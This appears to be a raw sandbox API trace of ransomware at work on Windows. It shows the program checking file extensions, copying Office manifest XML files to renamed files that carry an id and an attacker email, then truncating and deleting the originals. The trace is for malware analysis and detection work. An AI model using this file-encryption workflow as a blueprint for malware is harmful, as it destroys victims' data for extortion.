	[0066.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.568] lstrlenW (lpString=".1cd") returned 4
	[0066.568] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.568] lstrlenW (lpString=".jpg") returned 4
	[0066.568] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.568] lstrlenW (lpString=".doc") returned 4
	[0066.568] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.568] lstrlenW (lpString=".docx") returned 5
	[0066.568] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.568] lstrlenW (lpString=".pdf") returned 4
	[0066.568] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.568] lstrlenW (lpString=".xls") returned 4
	[0066.568] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.568] lstrlenW (lpString=".xlsx") returned 5
	[0066.568] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.568] lstrlenW (lpString=".ppt") returned 4
	[0066.568] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.568] lstrlenW (lpString=".zip") returned 4
	[0066.568] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.568] lstrlenW (lpString=".rar") returned 4
	[0066.568] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.568] lstrlenW (lpString=".bz2") returned 4
	[0066.568] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.568] lstrlenW (lpString=".7z") returned 3
	[0066.568] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.568] lstrlenW (lpString=".dbf") returned 4
	[0066.568] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.569] lstrlenW (lpString=".1cd") returned 4
	[0066.569] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0066.569] lstrlenW (lpString=".jpg") returned 4
	[0066.569] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.569] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0066.569] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53
	[0066.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0066.569] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=1261) returned 1
	[0066.569] CloseHandle (hObject=0x328) returned 1
	[0066.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0066.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0066.570] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.570] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.570] GetLastError () returned 0x0
	[0066.570] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0066.575] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0066.576] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.576] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0066.577] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.577] CloseHandle (hObject=0x2f8) returned 1
	[0066.578] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.578] SetEndOfFile (hFile=0x328) returned 1
	[0066.579] CloseHandle (hObject=0x328) returned 1
	[0066.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0066.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1
	[0066.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.579] lstrlenW (lpString=".doc") returned 4
	[0066.580] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.580] lstrlenW (lpString=".docx") returned 5
	[0066.580] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.580] lstrlenW (lpString=".pdf") returned 4
	[0066.580] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.580] lstrlenW (lpString=".xls") returned 4
	[0066.580] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.580] lstrlenW (lpString=".xlsx") returned 5
	[0066.580] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.580] lstrlenW (lpString=".ppt") returned 4
	[0066.580] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.580] lstrlenW (lpString=".zip") returned 4
	[0066.580] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.580] lstrlenW (lpString=".rar") returned 4
	[0066.580] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.580] lstrlenW (lpString=".bz2") returned 4
	[0066.580] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.580] lstrlenW (lpString=".7z") returned 3
	[0066.580] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.580] lstrlenW (lpString=".dbf") returned 4
	[0066.580] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.580] lstrlenW (lpString=".1cd") returned 4
	[0066.580] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.580] lstrlenW (lpString=".jpg") returned 4
	[0066.580] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.581] lstrlenW (lpString=".doc") returned 4
	[0066.581] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0066.581] lstrlenW (lpString=".docx") returned 5
	[0066.581] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0066.581] lstrlenW (lpString=".pdf") returned 4
	[0066.581] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0066.581] lstrlenW (lpString=".xls") returned 4
	[0066.581] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0066.581] lstrlenW (lpString=".xlsx") returned 5
	[0066.581] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0066.581] lstrlenW (lpString=".ppt") returned 4
	[0066.581] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0066.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.581] lstrlenW (lpString=".zip") returned 4
	[0066.581] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0066.581] lstrlenW (lpString=".rar") returned 4
	[0066.581] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0066.581] lstrlenW (lpString=".bz2") returned 4
	[0066.581] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0066.581] lstrlenW (lpString=".7z") returned 3
	[0066.581] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0066.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.581] lstrlenW (lpString=".dbf") returned 4
	[0066.581] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0066.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.581] lstrlenW (lpString=".1cd") returned 4
	[0066.581] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0066.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104
	[0066.581] lstrlenW (lpString=".jpg") returned 4
	[0066.581] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0066.582] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0066.582] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53
	[0066.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0066.583] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=496513) returned 1
	[0066.583] CloseHandle (hObject=0x328) returned 1
	[0066.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0066.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0066.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0066.583] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.583] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0066.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0066.584] GetLastError () returned 0x0
	[0066.584] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x79381, lpOverlapped=0x0) returned 1
	[0066.667] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x79390, lpOverlapped=0x0) returned 1
	[0066.678] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0066.678] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0066.678] SetEndOfFile (hFile=0x2f8) returned 1
	[0066.682] CloseHandle (hObject=0x2f8) returned 1
	[0067.283] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.283] SetEndOfFile (hFile=0x328) returned 1
	[0067.288] CloseHandle (hObject=0x328) returned 1
	[0067.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1
	[0067.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.289] lstrlenW (lpString=".doc") returned 4
	[0067.289] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.289] lstrlenW (lpString=".docx") returned 5
	[0067.289] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.289] lstrlenW (lpString=".pdf") returned 4
	[0067.289] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.289] lstrlenW (lpString=".xls") returned 4
	[0067.289] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.289] lstrlenW (lpString=".xlsx") returned 5
	[0067.289] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.289] lstrlenW (lpString=".ppt") returned 4
	[0067.289] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.289] lstrlenW (lpString=".zip") returned 4
	[0067.289] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.289] lstrlenW (lpString=".rar") returned 4
	[0067.289] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.289] lstrlenW (lpString=".bz2") returned 4
	[0067.289] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.289] lstrlenW (lpString=".7z") returned 3
	[0067.289] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.289] lstrlenW (lpString=".dbf") returned 4
	[0067.289] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.289] lstrlenW (lpString=".1cd") returned 4
	[0067.289] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.289] lstrlenW (lpString=".jpg") returned 4
	[0067.289] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.290] lstrlenW (lpString=".doc") returned 4
	[0067.290] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.290] lstrlenW (lpString=".docx") returned 5
	[0067.290] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.290] lstrlenW (lpString=".pdf") returned 4
	[0067.290] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.290] lstrlenW (lpString=".xls") returned 4
	[0067.290] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.290] lstrlenW (lpString=".xlsx") returned 5
	[0067.290] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.290] lstrlenW (lpString=".ppt") returned 4
	[0067.290] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.290] lstrlenW (lpString=".zip") returned 4
	[0067.290] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.290] lstrlenW (lpString=".rar") returned 4
	[0067.290] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.290] lstrlenW (lpString=".bz2") returned 4
	[0067.290] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.290] lstrlenW (lpString=".7z") returned 3
	[0067.290] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.290] lstrlenW (lpString=".dbf") returned 4
	[0067.290] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.290] lstrlenW (lpString=".1cd") returned 4
	[0067.290] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104
	[0067.290] lstrlenW (lpString=".jpg") returned 4
	[0067.290] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.291] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.291] lstrlenW (lpString="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 53
	[0067.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0067.293] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=19451) returned 1
	[0067.293] CloseHandle (hObject=0x328) returned 1
	[0067.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0067.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0067.293] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.293] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0067.293] GetLastError () returned 0x0
	[0067.294] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x4bfb, lpOverlapped=0x0) returned 1
	[0067.303] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x4c00, lpOverlapped=0x0) returned 1
	[0067.305] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.305] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.305] SetEndOfFile (hFile=0x2f8) returned 1
	[0067.305] CloseHandle (hObject=0x2f8) returned 1
	[0067.306] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.306] SetEndOfFile (hFile=0x328) returned 1
	[0067.307] CloseHandle (hObject=0x328) returned 1
	[0067.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0067.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1
	[0067.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
